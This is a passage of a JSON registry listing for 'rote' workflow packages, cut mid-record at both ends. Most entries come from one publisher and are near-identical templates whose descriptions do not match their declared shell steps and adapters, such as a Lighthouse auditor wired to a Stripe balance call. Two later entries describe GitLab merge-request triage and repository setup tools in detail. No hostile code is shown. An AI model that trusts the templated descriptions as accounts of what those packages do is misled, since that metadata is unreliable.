width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"posthog-mcp","steps":1,"methods":["events/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"chetan/posthog-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/open-meteo-weather-gate@4.15.26","reference":"ankurrawat/open-meteo-weather-gate@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/open-meteo-weather-gate@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/open-meteo-weather-gate@4.15.26","name":"open-meteo-weather-gate","title":"open-meteo-weather-gate","description":"Domain Analysis & Developer Utility for open-meteo-weather-gate: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","open","meteo","weather","gate"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:50:44.612022+00:00","visibility":"public","quality_score":1,"size_bytes":514043,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"jaylabs/ipapi","name":"ipapi","version":null,"credential_status":"none"},{"id":"ipapi","name":"ipapi","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0d9246b0ad208b4822fe5c6a89fd7f3b942952fb56e96c0b6acc3036fa546588","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"ipapi","steps":1,"methods":["ip/lookup"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"jaylabs/ipapi","version":"1.0.1","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/omen-killer-db-pool-doctor@4.15.26","reference":"ankurrawat/omen-killer-db-pool-doctor@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/omen-killer-db-pool-doctor@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/omen-killer-db-pool-doctor@4.15.26","name":"omen-killer-db-pool-doctor","title":"omen-killer-db-pool-doctor","description":"Domain Analysis & Developer Utility for omen-killer-db-pool-doctor: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","omen","killer","pool","doctor"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:50:35.251586+00:00","visibility":"public","quality_score":1,"size_bytes":513829,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"},{"id":"notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7b9f49f0ab0cb3b6ba79861e3171b61c60f57c46945e821419c74ac8df26a08b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"notion-mcp","steps":1,"methods":["databases/query"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/notion-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/money-follow-brother-prompt-condenser@4.15.26","reference":"ankurrawat/money-follow-brother-prompt-condenser@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/money-follow-brother-prompt-condenser@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/money-follow-brother-prompt-condenser@4.15.26","name":"money-follow-brother-prompt-condenser","title":"money-follow-brother-prompt-condenser","description":"Domain Analysis & Developer Utility for money-follow-brother-prompt-condenser: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","money","follow","brother","prompt"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:50:23.523883+00:00","visibility":"public","quality_score":1,"size_bytes":516546,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/linear","name":"linear","version":null,"credential_status":"none"},{"id":"linear","name":"linear","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:30c4240c4c3c01a5ff79dca5773a9802c8d37cdb7831b429c8a52fe82e52fd97","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"linear","steps":1,"methods":["cycles/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/linear","version":"1.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/money-follow-brother@4.15.26","reference":"ankurrawat/money-follow-brother@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/money-follow-brother@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/money-follow-brother@4.15.26","name":"money-follow-brother","title":"money-follow-brother","description":"Domain Analysis & Developer Utility for money-follow-brother: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","money","follow","brother","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:50:18.483123+00:00","visibility":"public","quality_score":1,"size_bytes":515775,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0780210d4adb9ee54f0fc4a936d7e8b281b8461b06c807b9161db7830b4136a1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"open-meteo","steps":1,"methods":["forecast/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/open-meteo","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/kafka-consumer-lag-sentinel@4.15.26","reference":"ankurrawat/kafka-consumer-lag-sentinel@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/kafka-consumer-lag-sentinel@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/kafka-consumer-lag-sentinel@4.15.26","name":"kafka-consumer-lag-sentinel","title":"kafka-consumer-lag-sentinel","description":"High-Throughput Infrastructure & Scaling Engine for kafka-consumer-lag-sentinel: Simulates extreme concurrent load, evaluates Redis token buckets, and benchmarks Kafka event streams.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","kafka","consumer","lag","sentinel"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:49:40.986358+00:00","visibility":"public","quality_score":1,"size_bytes":514137,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_6_emit_scaling_scorecard","step_parallel_fanout_execution","step_3_route_kafka_event_stream","step_1_bootstrap_ingress_cluster","step_2_execute_redis_token_bucket","step_4_monitor_backpressure_and_p99","step_5_evaluate_circuit_breaker_state"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/cloudflare","name":"cloudflare","version":null,"credential_status":"none"},{"id":"cloudflare","name":"cloudflare","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:afb2608c5af07fe08e6675d38fa804e757dd92fec9e9bfc3e50d4d6fee61a67e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"cloudflare","steps":1,"methods":["zones/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/cloudflare","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/isshin-sword-saint-linter@4.15.26","reference":"ankurrawat/isshin-sword-saint-linter@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/isshin-sword-saint-linter@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/isshin-sword-saint-linter@4.15.26","name":"isshin-sword-saint-linter","title":"isshin-sword-saint-linter","description":"Domain Analysis & Developer Utility for isshin-sword-saint-linter: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","isshin","sword","saint","linter"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:49:36.204403+00:00","visibility":"public","quality_score":1,"size_bytes":514087,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/stripe","name":"stripe","version":null,"credential_status":"none"},{"id":"stripe","name":"stripe","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2cc29cc6293d3980cb36a87d6392e3b0044977a0833b0a8a500066ff1c5a9d63","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"stripe","steps":1,"methods":["balance/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/stripe","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/hacker-news-trend-radar@4.15.26","reference":"ankurrawat/hacker-news-trend-radar@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/hacker-news-trend-radar@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/hacker-news-trend-radar@4.15.26","name":"hacker-news-trend-radar","title":"hacker-news-trend-radar","description":"Domain Analysis & Developer Utility for hacker-news-trend-radar: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","hacker","news","trend","radar"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:49:27.95497+00:00","visibility":"public","quality_score":1,"size_bytes":514184,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/linear","name":"linear","version":null,"credential_status":"none"},{"id":"linear","name":"linear","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ab5b1fd360ce957206cd2d34ddcdb975ff524f2873dcc7cb9c5d95c7e3a72aa2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"linear","steps":1,"methods":["cycles/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/linear","version":"1.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/cypher-network-spycrap@4.15.26","reference":"ankurrawat/cypher-network-spycrap@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/cypher-network-spycrap@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/cypher-network-spycrap@4.15.26","name":"cypher-network-spycrap","title":"cypher-network-spycrap","description":"Domain Analysis & Developer Utility for cypher-network-spycrap: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","cypher","network","spycrap","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:47:54.364861+00:00","visibility":"public","quality_score":1,"size_bytes":514085,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"jaylabs/ipapi","name":"ipapi","version":null,"credential_status":"none"},{"id":"ipapi","name":"ipapi","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:31a152ca075201ec50cdaae2f8237f1e0caaf81c6f0117559786e660a7e4eb0f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"ipapi","steps":1,"methods":["ip/lookup"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"jaylabs/ipapi","version":"1.0.1","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/browser-lighthouse-auditor@4.15.26","reference":"ankurrawat/browser-lighthouse-auditor@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/browser-lighthouse-auditor@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/browser-lighthouse-auditor@4.15.26","name":"browser-lighthouse-auditor","title":"browser-lighthouse-auditor","description":"Headless Browser & E2E Auditor for browser-lighthouse-auditor: Launches headless Chrome/Chromium to audit Core Web Vitals, simulate user journeys, and render PDF reports.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","browser","lighthouse","auditor","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:47:41.635755+00:00","visibility":"public","quality_score":1,"size_bytes":514125,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_3_audit_core_web_vitals","step_parallel_fanout_execution","step_1_launch_headless_chromium","step_2_navigate_and_capture_network","step_6_generate_lighthouse_scorecard","step_5_evaluate_accessibility_and_seo","step_4_execute_visual_regression_check"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/stripe","name":"stripe","version":null,"credential_status":"none"},{"id":"stripe","name":"stripe","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e21221d6bbbaccefb3d5fb05a9353a8f37931d2fcc922f0b077348928798b9bb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"stripe","steps":1,"methods":["balance/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/stripe","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/broken-link-crawler@4.15.26","reference":"ankurrawat/broken-link-crawler@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/broken-link-crawler@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/broken-link-crawler@4.15.26","name":"broken-link-crawler","title":"broken-link-crawler","description":"Headless Browser & E2E Auditor for broken-link-crawler: Launches headless Chrome/Chromium to audit Core Web Vitals, simulate user journeys, and render PDF reports.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","broken","link","crawler","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:47:37.312793+00:00","visibility":"public","quality_score":1,"size_bytes":514050,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_3_audit_core_web_vitals","step_parallel_fanout_execution","step_1_launch_headless_chromium","step_2_navigate_and_capture_network","step_6_generate_lighthouse_scorecard","step_5_evaluate_accessibility_and_seo","step_4_execute_visual_regression_check"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/linear","name":"linear","version":null,"credential_status":"none"},{"id":"linear","name":"linear","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0555ee1b5a1f6c601666cd74d0f7751832a7cf7b8c91f4eee4fc3f001f570dfc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"linear","steps":1,"methods":["cycles/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/linear","version":"1.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/princepanchani/gitlab-mr-queue@1.4.1","reference":"princepanchani/gitlab-mr-queue@1.4.1","uri":"https://play.modiqo.ai/princepanchani/gitlab-mr-queue@1.4.1","manifest_uri":"https://play.modiqo.ai/princepanchani/gitlab-mr-queue@1.4.1","name":"gitlab-mr-queue","title":"gitlab-mr-queue","description":"Triages every open merge request in a GitLab project into one table grouped by\nWHOSE MOVE IT IS - and by how long it has been waiting.\n\nTRY IT IN ONE LINE - no arguments, no token, no setup:\n\n    rote play run princepanchani/gitlab-mr-queue\n\nThat triages a real public backlog. Then point it at your own, or at\nself-hosted GitLab with gitlab_host:\n\n    rote play run princepanchani/gitlab-mr-queue project=your-group/your-repo\n\nWHAT YOU GET\n\n  BUCKETS      Every MR lands in exactly one of eight: ready, waiting on\n               author, CI, reviewers, maintainer, process, or another MR. The\n               bucket is the EARLIEST thing that must happen, so who to chase\n               is obvious.\n  ROT LEDGER   Oldest and median age, how many are past ninety days, how many\n               are stale. Other plays answer what is true right now; this one\n               answers how long it has been true.\n  REVIEW LOAD  Who the queue is waiting on: MR count, oldest item, average\n               age - from reviewer assignments GitLab exposes with no token.\n               This is QUEUE LOAD, not performance; an unfilled reviewer slot\n               is a routing gap, not a slow person.\n\nHOW IT REFUSES TO LIE TO YOU\n\n  - The MR list is paginated to exhaustion and the open total comes from\n    GitLab's own x-total, so \"every open merge request\" means every one.\n  - MRs past max_mrs are listed as NOT GATED with the status the list endpoint\n    gave, never silently dropped. Capped is not the same as clean.\n  - Without a token, idle time stands in for blocker age and the precision is\n    labelled APPROXIMATE rather than passed off as a measurement. With a\n    GITLAB_TOKEN it reads label events and says EXACT.\n\nORDERING MATTERS: order defaults to stalest. Spending the max_mrs budget\nnewest-first reported a median age of 1 day while a 186-day-old MR fell past the\ncap - the same queue then looks healthy when it is not.\n\nVERIFIED ON SELF-HOSTED GITLAB: a real 100-merge-request backlog on KDE's\ninstance, whose oldest MR had been open 1721 days. Those instances run Community\nEdition, which has no approval-rules endpoint, so that dimension is reported as\nunknown per MR rather than mistaken for a bad project path.\n\nCOMPANION PLAYS. Once the queue points you at one merge request,\nprincepanchani/gitlab-mr-gate gates that one in full. If it is waiting on a red\npipeline, princepanchani/gitlab-pipeline-triage says which job failed.\n\nREAD ONLY - nothing is approved, merged, rebased, commented or labelled. Needs\nonly python3. No credentials on public projects; a private or self-hosted\nproject uses your own GITLAB_TOKEN from the environment, sent as a header.\n\nKNOWN LIMITS: the token path and the exact-timeline route via label events are\nexercised end to end, but only against gitlab.com. A token against a self-hosted\ninstance is untested - the instances above were read anonymously.","owner":{"kind":"user","slug":"princepanchani"},"registry_organization":"princepanchani","tags":["domain-code-review","job-merge-queue-triage","platform-gitlab","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-code-review","author":"Prince Panchani (github.com/PrinceXDev)","version":"1.4.1","published_at":"2026-09-06T13:05:22.652478+00:00","visibility":"public","quality_score":1,"size_bytes":28138,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["gate_one","list_mrs","validate_input"]},"parameters":[{"name":"project","type":"string","required":false,"default":"gitlab-org/cli","description":"GitLab project path or numeric id. Left alone it runs the built-in demo against a real public project with a real backlog, so you can see the whole report before deciding whether to point it at your own.","example":"gitlab-org/cli"},{"name":"gitlab_host","type":"string","required":false,"default":"gitlab.com","description":"GitLab hostname; set this for a self-hosted instance","example":"gitlab.com"},{"name":"target_branch","type":"string","required":false,"default":"","description":"Only triage merge requests targeting this branch","example":"main"},{"name":"filter_labels","type":"string","required":false,"default":"","description":"Comma separated labels; only triage merge requests carrying all of them","example":"type::bug"},{"name":"max_mrs","type":"integer","required":false,"default":"15","description":"Fully gate at most this many merge requests (1-50); the rest are listed, not gated","example":"15"},{"name":"required_labels","type":"string","required":false,"default":"","description":"Comma separated labels a merge request must carry to count as ready","example":"Status::Ready"},{"name":"forbidden_labels","type":"string","required":false,"default":"","description":"Comma separated labels that block a merge when present","example":"Do Not Merge"},{"name":"require_pipeline","type":"string","required":false,"default":"auto","description":"auto asks GitLab whether a pipeline is mandatory; true or false override it","example":"auto"},{"name":"order","type":"string","required":false,"default":"stalest","description":"Which end of the queue to spend the max_mrs budget on; stalest or newest","example":"stalest"},{"name":"stale_after_days","type":"integer","required":false,"default":"14","description":"A merge request with no activity for this many days is reported as stale","example":"14"},{"name":"ignore_reviewers","type":"string","required":false,"default":"","description":"Comma separated usernames to leave out of the review load table, for bot accounts","example":"GitLabDuo"},{"name":"timeout_s","type":"integer","required":false,"default":"25","description":"Per request HTTP timeout in seconds, clamped to 1-120","example":"25"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:778504a75fe3819e7f54495b038cd506d8a4ab8ca2066f981ab85369f5c751e2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":3,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/andrew-kevin-007/clone-ready@0.1.5","reference":"andrew-kevin-007/clone-ready@0.1.5","uri":"https://play.modiqo.ai/andrew-kevin-007/clone-ready@0.1.5","manifest_uri":"https://play.modiqo.ai/andrew-kevin-007/clone-ready@0.1.5","name":"clone-ready","title":"clone-ready","description":"You just cloned a repo. What do you actually run? Reads the repository on disk and hands back the exact commands, in order, so the first run after a clone is one paste instead of twenty minutes of trial and error. Picks the right package manager when more than one lockfile is present, by an actual check (packageManager field, or newest lockfile mtime, both stated) rather than a guess, and names the conflict when npm and pnpm or yarn lockfiles disagree. Diffs declared env vars in .env.example against the ones your own source code actually reads, so a var used in code but missing from the example - the one that crashes you at runtime with no clue why - is caught before you hit it. Detects Python, Go, Rust and Ruby manifests alongside Node, reports when a project has a venv but no requirements.txt at all rather than guessing a command, and reports when the project you cloned into is not the project itself - a common shape when the real code sits one folder down. Follows docker-compose.yml build contexts into a monorepo backend/frontend split and finds each services manifest where a root-only scan would report nothing to install. Recognises pnpm/npm/yarn workspaces (pnpm-workspace.yaml or a package.json workspaces field) and lists each member's own run command in that manager's real syntax, because a workspace installs once at the root and a root-only scan would 